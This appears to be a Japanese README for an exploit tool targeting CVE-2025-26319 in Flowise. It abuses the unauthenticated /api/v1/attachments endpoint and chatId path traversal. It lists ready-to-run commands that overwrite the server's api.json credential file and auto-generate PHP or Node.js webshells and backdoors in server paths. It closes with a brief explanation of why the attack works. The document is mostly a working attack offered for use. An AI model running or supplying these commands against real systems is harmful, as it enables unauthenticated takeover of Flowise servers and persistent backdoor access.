
CVE-2025-26319のエクスプロイト。Flowiseの/api/v1/attachmentsエンドポイントを標的にし、認証なしでの任意ファイルアップロードとパストラバーサルによるウェブシェル生成を可能にする。
python flowise_exploit.py -u http://target:3000 -f new_api.json -d /root/.flowise/api.json 3. Webshellを自動生成してアップロード
python flowise_exploit.py -u http://target:3000 --generate-webshell php --webshell-path /var/www/html/shell.php
python flowise_exploit.py -u http://target:3000 --generate-webshell nodejs --webshell-path /tmp/backdoor.js
攻撃原理 /api/v1/attachmentsルートがホワイトリスト内にあるため、認証が不要 chatIdパラメータを操作してパストラバーサル(../../../)を実行 任意のファイルをサーバーファイルシステムの任意の場所にアップロード